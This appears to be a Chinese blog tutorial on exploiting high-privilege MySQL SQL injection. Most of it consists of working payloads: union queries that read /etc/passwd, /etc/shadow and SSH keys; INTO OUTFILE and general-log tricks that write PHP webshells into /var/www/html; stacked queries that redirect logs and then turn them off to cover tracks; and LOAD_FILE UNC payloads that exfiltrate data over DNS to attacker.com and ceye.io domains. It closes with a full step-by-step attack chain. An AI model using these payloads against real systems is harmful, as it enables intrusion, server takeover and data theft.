1. 项目概述:从基础注入到权限突破的攻防全景
在Web安全领域,SQL注入始终是那个“古老”却又历久弥新的核心议题。很多刚入门的朋友,通过DVWA、Pikachu这类靶场,学会了判断数字型、字符型注入,掌握了
union select
爆库、爆表、爆字段的常规流程,甚至能用sqlmap一把梭哈拿到后台数据。这固然是重要的第一步,但实战中的SQL注入远不止于此。当你的注入点返回了数据库版本是
5.5.53
,或是
root@localhost
这样的用户信息时,一个更广阔、也更危险的世界才刚拉开帷幕——你面对的可能是一个拥有数据库服务器高权限的账户。
这次,我们不谈基础的
‘ or 1=1--
,而是聚焦于那些标志着“权限升级”的关键节点。核心在于一个权限判定:当你发现当前数据库用户拥有
FILE_PRIV
、
SUPER
等高级权限时,攻击面将从单一的数据库数据窃取,爆炸性地扩展到服务器文件系统读写、跨数据库查询乃至通过DNS协议进行带外数据外传。这就像你原本只是在房间里翻箱倒柜,突然发现手里握着的是一把能打开整栋大楼所有房间,甚至能控制部分安保系统的万能钥匙。我们将系统性地拆解“高权限判定”后的攻击链:如何确认权限、如何利用
secure_file_priv
开关进行文件读写、如何执行跨库查询以扩大战果,以及如何利用DNS协议在严格出网限制下实现数据外带。每一个环节都对应着防守方不同的配置疏漏,理解这些,无论是作为攻击方进行深度测试,还是作为防守方加固系统,都至关重要。
2. 核心思路:权限判定是攻击链的转折点
整个高阶SQL注入攻击流程可以看作一个清晰的决策树,其根节点就是 数据库当前连接用户的权限等级 。这个判定直接决定了后续所有攻击路径的可行性与危害程度。
2.1 权限判定的核心逻辑与信息收集
为什么权限如此重要?在MySQL、MariaDB等数据库中,用户权限是分层的。一个仅用于连接特定应用数据库的用户(如
webapp@‘%’
),其权限可能被严格限制在
SELECT
、
INSERT
、
UPDATE
、
DELETE
等基本DML操作上。而像
root
或某些管理用户,则可能拥有
ALL PRIVILEGES
,其中就包含对我们攻击至关重要的
FILE
权限(允许执行
LOAD DATA INFILE
和
SELECT ... INTO OUTFILE
操作)和
SUPER
权限(用于管理操作)。
如何进行判定? 这不仅仅是猜,而是通过注入点执行特定的信息查询语句。
-
查询当前用户与主机:
union select user(), current_user(), @@hostname--user()是尝试连接时使用的用户名,current_user()是实际通过授权表匹配到的用户名。如果返回root@localhost或包含root,这是一个强烈的信号。但注意,用户名不是唯一标准,关键看权限。 -
查询用户权限(关键步骤):
union select grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee LIKE CONCAT(‘'’, user(), ‘'’)更直接的方式是查询
information_schema库。但更常用的方法是利用SELECT查询权限表或使用函数:union select super_priv, file_priv FROM mysql.user WHERE user=SUBSTRING_INDEX(user(),‘@’,1) AND host=SUBSTRING_INDEX(user(),‘@’,-1) LIMIT 1--如果无法直接查询
mysql.user(需要权限),可以尝试使用LOAD_FILE()函数读取/etc/passwd等系统文件来间接测试FILE权限,或者尝试执行一个SELECT ... INTO OUTFILE语句到临时目录。 -
查询数据库版本与安全配置:
union select @@version, @@version_compile_os, @@secure_file_priv--@@version:版本号。早期版本(如5.5以下)默认配置可能更宽松。@@secure_file_priv:这是文件读写操作的“开关”和“白名单”,它的值直接决定了INTO OUTFILE和LOAD_FILE()能访问的路径。值为NULL表示禁止文件操作;值为具体路径(如/var/lib/mysql-files/)表示只允许在该目录下操作;值为空字符串‘’则表示不限制路径(危险配置)。
实操心得:
在真实环境中,直接爆出
root
用户的情况在互联网业务中已较少见,但“高权限”不一定是
root
。任何被授予了
FILE
权限的用户,对我们而言就是“高权限”用户。此外,在联合查询列数不够时,可以将
user()
、
version()
、
database()
等函数信息与其他数据一同查询出来,作为初步判断。
2.2 攻击路径决策树
基于权限判定的结果,攻击路径开始分叉:
- 低权限(仅DML权限) :攻击止步于对当前数据库(甚至只是特定表)的增删改查。主要目标是获取管理员密码哈希、敏感业务数据等。这就是大部分靶场练习的阶段。
-
高权限(拥有FILE权限)
:
-
检查
@@secure_file_priv:-
如果为
NULL:文件读写路径被彻底封死。需要尝试 SecurePriv开关绕过 (后文详述)。 -
如果为具体路径(如
/tmp/):只能在指定目录进行文件读写。需要结合目录权限和Web目录位置,尝试写WebShell。 -
如果为空
‘’:恭喜,进入了“为所欲为”阶段。可以直接向Web目录写文件,或读取服务器上的任意文件(如配置文件、SSH密钥、源码)。
-
如果为
-
无论文件读写是否成功,均可进行跨库查询
:利用
database()函数和information_schema库,查询其他数据库的表结构,扩大数据窃取范围。
-
检查
-
需要数据外带且网络受限
:当注入点不回显(盲注),或网络策略限制直接连接外网时,
DNS带外(DNS OOB)
技术成为数据外泄的唯一通道。这通常需要
FILE权限(或特定函数如LOAD_FILE能触发DNS解析)以及数据库服务器能发出DNS请求。
理解这个决策树,你就能在渗透测试中快速定位当前注入点的价值上限,并选择最有效的后续利用方式。
3. 关键技术点深度解析与实操要点
3.1 跨库查询:扩大战果的信息收割
在拥有高权限后,你不再局限于当前应用数据库(
database()
返回的库)。
information_schema
库是MySQL的信息数据库,它保存了关于所有其他数据库、表、列、权限等的元数据。高权限用户通常可以访问它。
利用方式:
-
枚举所有数据库:
union select schema_name, ‘ ’ from information_schema.schemata--这会列出服务器上所有的数据库名,可能包含
mysql(系统权限库)、information_schema、performance_schema,以及其他的业务数据库,比如hr_db、finance_db等。 -
指定数据库枚举所有表:
union select table_name, table_schema from information_schema.tables where table_schema=‘target_db’--将
target_db替换为你感兴趣的其他数据库名。 -
指定数据表枚举所有字段:
union select column_name, ‘ ’ from information_schema.columns where table_schema=‘target_db’ and table_name=‘users’-- -
直接跨库查询数据: 这是最直接的一步。知道了库名、表名、列名后,可以直接查询。
union select id, username from hr_db.employees--或者,如果联合查询的列数或类型不匹配,可以将其作为子查询或拼接字符串输出。
union select null, concat(‘[hr_db]’, userid, ‘:’, password) from hr_db.sys_user--
注意事项:
-
权限边界
:即使能访问
information_schema,查询其他库的具体数据仍需要对该库有SELECT权限。但高权限用户(如root)或配置不当的数据库,经常存在权限泛化问题。 -
信息过载
:
information_schema.tables表可能非常庞大,在盲注场景下枚举效率极低。需要结合对业务的理解(如数据库名包含admin、backup、config等关键词)进行针对性枚举。
3.2 文件读写:从数据库到操作系统的跃迁
这是高权限SQL注入最具威力的能力之一,直接导致了GetShell。
1. 文件读取(LOAD_FILE):
union select null, load_file(‘/etc/passwd’)--
LOAD_FILE()
函数读取服务器文件系统上的文件,并以文本形式返回。常用于读取:
-
系统配置文件:
/etc/passwd,/etc/shadow(需root),/etc/hosts -
Web应用配置文件:
/var/www/html/config.php,../config/database.ini -
数据库配置文件:
/etc/my.cnf,~/.my.cnf - 源码文件:分析漏洞。
-
SSH私钥:
/home/user/.ssh/id_rsa
2. 文件写入(INTO OUTFILE/DUMPFILE):
union select ‘<?php @eval($_POST[cmd]);?>’, ‘ ’ into outfile ‘/var/www/html/shell.php’--
INTO OUTFILE
将查询结果写入文件。这是写入WebShell的经典方法。
-
DUMPFILE与INTO OUTFILE类似,但更适合写入二进制数据,且每次只写一行,对于写WebShell,两者通常可互换。
关键障碍:
secure_file_priv
这个系统变量是文件读写的守门员。它的值在MySQL服务启动时确定。
-
绕过思路1:利用合法目录
。如果值为
/var/lib/mysql-files/,尝试在该目录下写文件。虽然可能无法直接Web访问,但可以尝试写一个JSP/PHP脚本,然后利用数据库的“用户自定义函数”(UDF)提权等后续链式攻击,或者通过读取该文件内容到Web回显中来间接获取。 - 绕过思路2:修改my.cnf并重启(需系统权限) 。这通常不现实。
-
绕过思路3:利用Web目录的符号链接(Symlink)
。在某些旧版本或特定配置下,如果Web目录是
/var/www/html,而MySQL的数据目录(datadir)下可能存在符号链接。但这需要非常特殊的配置。 - 绕过思路4:通过日志文件写Shell(经典方法) 。这才是真正的“SecurePriv开关绕过”核心。
3.3 SecurePriv开关绕过:利用日志文件实现文件写入
当
secure_file_priv
为
NULL
时,
INTO OUTFILE
和
LOAD_FILE()
函数都会被禁止。但我们可以通过篡改MySQL的日志文件路径和内容,间接实现文件写入。
原理 :MySQL可以生成多种日志,如通用查询日志(General Log)、慢查询日志(Slow Query Log)。这些日志会记录所有或部分SQL语句,并写入文件。如果我们能控制日志文件的保存路径和文件名,并将其指向Web目录,那么我们执行的SQL语句(包含WebShell代码)就会被记录到该文件,从而形成一个WebShell。
具体步骤:
-
查看日志状态与路径 (需要
SUPER或FILE权限):union select @@global.general_log, @@global.general_log_file, @@global.slow_query_log, @@global.slow_query_log_file--general_log为OFF表示未开启。general_log_file是日志当前路径。 -
开启通用查询日志并重定向路径 :
union select null, ‘ ’ into outfile ‘/var/www/html/test.txt’--这一步会失败(因为
secure_file_priv=NULL),但我们需要用它来执行设置命令。实际上,需要通过堆叠查询(Stacked Queries)或某些特定场景(如PHP的mysqli_multi_query)来执行多条SQL语句。 假设存在堆叠查询注入 :‘; SET global general_log = on; SET global general_log_file = ‘/var/www/html/shell.php’;--这条语句开启了通用日志,并将日志文件路径设置为Web目录下的
shell.php。 -
执行携带WebShell代码的查询 :
‘; SELECT ‘<?php phpinfo();?>’;--由于通用日志已开启,这条
SELECT语句会被完整地记录到/var/www/html/shell.php文件中。日志文件通常会在每条记录前加上时间戳和连接信息,导致PHP代码被注释或破坏。因此,我们需要一个能忽略前面内容的WebShell。 更常用的方法是:‘; SELECT “<?php system($_GET[‘c’]);?>”;--但日志记录可能是:
/usr/sbin/mysqld, Version: 5.7.40 (MySQL Community Server). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-01-01T10:00:00.000000Z 1 Query SELECT “<?php system($_GET[‘c’]);?>”前面的注释会导致PHP无法执行。
-
写入纯净WebShell的技巧 : 利用
SELECT “\n\n\n<?php eval($_POST[‘a’]);?>\n”,通过多个换行符\n,使PHP代码在日志中“下沉”,避开文件开头的注释行。但这并不总是可靠。 更稳健的方法是关闭日志的标头记录 (如果版本和配置允许):‘; SET global log_output = ‘file’; SET global general_log = on; SET global general_log_file = ‘/var/www/html/shell.php’;--然后执行:
‘; SELECT “”;--先写入一个空查询,然后:
‘; SELECT “<?php eval($_POST[‘cmd’]);?>”;--有时需要多次尝试,并查看生成的文件内容进行调整。
-
关闭日志(清理痕迹) :
‘; SET global general_log = off;--
注意事项:
-
依赖堆叠查询
:该方法严重依赖应用层(如PHP+
mysqli_multi_query)支持堆叠查询。大多数情况下,为了安全,应用程序或ORM框架不会使用能执行多语句的函数。 -
需要
SUPER权限 :SET global命令通常需要SUPER权限。 -
文件权限
:MySQL进程(通常是
mysql用户)必须对目标Web目录有写权限。 - 日志格式 :不同MySQL版本和配置的日志格式不同,需要根据实际情况调整Payload。
3.4 DNS带外(DNS OOB)数据外传:突破无回显与网络限制
在盲注中,我们通过布尔逻辑或时间延迟来一点点“挤”出数据,效率低下。如果服务器能发起DNS请求,我们就可以利用DNS查询将数据直接带出。
原理
:构造一个特殊的域名,其中子域名部分包含我们想窃取的数据(如
SELECT user()
的结果)。当数据库执行一个能触发DNS解析的函数(如
LOAD_FILE()
)时,它会向这个域名发起DNS查询。我们只需要在自己的DNS服务器上监听,就能从查询请求中看到数据。
常用函数 :
-
LOAD_FILE():LOAD_FILE(‘\\\\’ + (SELECT user()) + ‘.attacker.com\\foo.txt’)。在Windows下,\\hostname\path会触发SMB/NetBIOS名称解析,其中包含DNS查询。在Linux下,对UNC路径的支持有限。 -
UNC路径(Windows特性):这是更常用的方式。利用SELECT ... INTO OUTFILE写入一个UNC路径。
但union select null, ‘ ’ into outfile ‘\\\\’(SELECT hex(user()))‘.attacker.com\\share\\test.txt’--INTO OUTFILE受secure_file_priv限制。 -
利用
sys_exec()等UDF :如果已通过文件上传植入恶意UDF,可以执行系统命令如nslookup,但这已超出纯SQL注入范畴。 -
MySQL特定函数
:在MariaDB或某些版本的MySQL中,
LOAD DATA INFILE也能触发DNS解析。
最实用的场景:无回显盲注的数据快速外泄
假设我们有一个基于时间的盲注点,想获取
database()
的值。
-
将数据编码(如Hex或Base32),避免特殊字符。
‘ AND (SELECT LOAD_FILE(CONCAT(‘\\\\’,(SELECT HEX(database())),‘.’,‘xxxxxx.ceye.io\\abc‘)))--xxxxxx.ceye.io是你控制的域名(如使用公开的DNSLog平台ceye.io或自建)。 -
执行注入。如果当前用户有
FILE权限(LOAD_FILE成功执行),数据库服务器会尝试解析<hex_database>.xxxxxx.ceye.io这个域名。 -
在DNSLog平台查看记录,收到一条对
<hex_database>.xxxxxx.ceye.io的DNS查询记录,从中解码即可得到数据库名。
注意事项:
-
依赖
FILE权限 :LOAD_FILE()需要FILE权限。 - 出网DNS协议 :数据库服务器必须能访问外网DNS(通常是UDP 53端口)。很多内网服务器允许DNS出站,因为这是基础服务。
- 域名长度限制 :DNS标签(子域名各部分)最长63字符,总域名长度最长253字符。需要窃取长数据(如表内容)时,需分片传输。
-
编码与过滤
:数据中不能有点号(
.)等DNS非法字符,需要进行Hex编码。同时,注意应用层对反斜杠(\)的过滤。
4. 完整攻击链实战推演与问题排查
让我们模拟一个相对理想的实战场景,串联上述所有技术点。
场景设定
:一个Web应用存在Union注入点,当前数据库用户为
root@localhost
,
secure_file_priv
为空字符串
‘’
,Web根目录为
/var/www/html/
,服务器可出网DNS。
攻击链推演:
-
信息收集与权限确认 :
‘ union select user(), version(), @@secure_file_priv, database()--回显:
root@localhost | 5.7.40 | | webapp_db。确认高权限、无文件路径限制。 -
跨库查询,扩大信息范围 :
‘ union select schema_name, ‘ ’ from information_schema.schemata--发现额外数据库:
hr_database,internal_config。 -
读取敏感文件 :
‘ union select null, load_file(‘/var/www/html/config.php’)--获取数据库连接密码、API密钥等。
-
写入WebShell :
‘ union select ‘<?php system($_GET[“cmd”]);?>’, ‘ ’ into outfile ‘/var/www/html/cmd.php’--访问
http://target/cmd.php?cmd=id,确认命令执行成功,获取Web服务权限。 -
(备选)DNS带外快速获取数据 :如果需要从另一个无回显的注入点快速获取
internal_config库的某个表内容,且已知有FILE权限。‘; SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT HEX(column_name) FROM information_schema.columns WHERE table_schema=‘internal_config’ LIMIT 1), ‘.dnslog.attacker.com\\test‘))--在DNSLog平台接收并解码数据。
常见问题与排查技巧实录:
-
问题1:
INTO OUTFILE失败,报错Can‘t create/write to file。-
排查
:首先确认
@@secure_file_priv值。如果为空,检查目标目录(如/var/www/html/)的权限,确保MySQL进程用户(如mysql)有写权限。ls -ld /var/www/html/查看。可能还需要考虑SELinux/AppArmor等安全模块的限制。
-
排查
:首先确认
-
问题2:
LOAD_FILE()返回NULL。-
排查
:
- 检查文件路径是否正确,是否有读取权限。
-
检查
secure_file_priv是否限制了路径。 -
检查文件大小是否超过
max_allowed_packet。 -
尝试使用
/etc/passwd等绝对路径的已知文件测试,如果依然失败,可能是FILE权限未生效或配置问题。
-
排查
:
-
问题3:DNS带外没有收到请求。
-
排查
:
-
确认
LOAD_FILE()函数是否执行成功(可通过时间盲注判断:‘ AND IF((SELECT LOAD_FILE(...)), SLEEP(5), 0)--)。 - 确认DNS域名拼写正确,且没有特殊字符。使用Hex编码最稳妥。
-
确认数据库服务器网络能解析外网DNS(尝试让数据库执行
SELECT ‘a‘ INTO OUTFILE ‘\\\\8.8.8.8\\a‘,虽然语法可能报错,但看服务器日志是否有网络连接尝试)。 - 确认你的DNS服务器(或DNSLog平台)正常工作,并且防火墙没有屏蔽入站DNS查询。
-
确认
-
排查
:
-
问题4:通过日志写WebShell后,访问返回500错误或显示源码。
-
排查
:查看生成的
shell.php文件内容。大概率是日志文件头部的注释(如Time Id Command Argument)破坏了PHP语法。解决方法是写入一个能忽略前面垃圾代码的WebShell,例如在开头加上大量换行符\n\n\n\n\n<?php ... ?>,或者尝试写入<script language=“php”>system($_GET[‘c’]);</script>(如果PHP支持该古老标签)。最根本的方法是寻找一个能写入纯净内容的替代方法。
-
排查
:查看生成的
个人实操心得:
高权限注入的利用成功率,在实战中远低于靶场。最大的障碍往往是
secure_file_priv
被设置为
NULL
且无法绕过,以及Web目录MySQL用户无写权限。因此,信息收集阶段准确判断
@@secure_file_priv
和目录权限至关重要。不要一上来就尝试写Shell,先通过
LOAD_FILE
读取
/proc/self/cwd/index.php
(获取当前工作目录)或
/etc/passwd
来确认文件读取能力。DNS带外是盲注神器,但需要环境支持,在内部系统渗透测试中,如果目标网络分区严格,DNS带外可能也不通。因此,这些高级技术是工具箱里的特种工具,需要根据现场情况灵活选用,而扎实的布尔盲注、时间盲注基本功才是那个任何时候都能掏出来的“瑞士军刀”。真正的渗透是耐心和细致的结合,在看似绝望的
NULL
值
secure_file_priv
背后,也许就藏着一条通过日志或慢查询日志的迂回路径。
1222

被折叠的 条评论
为什么被折叠?



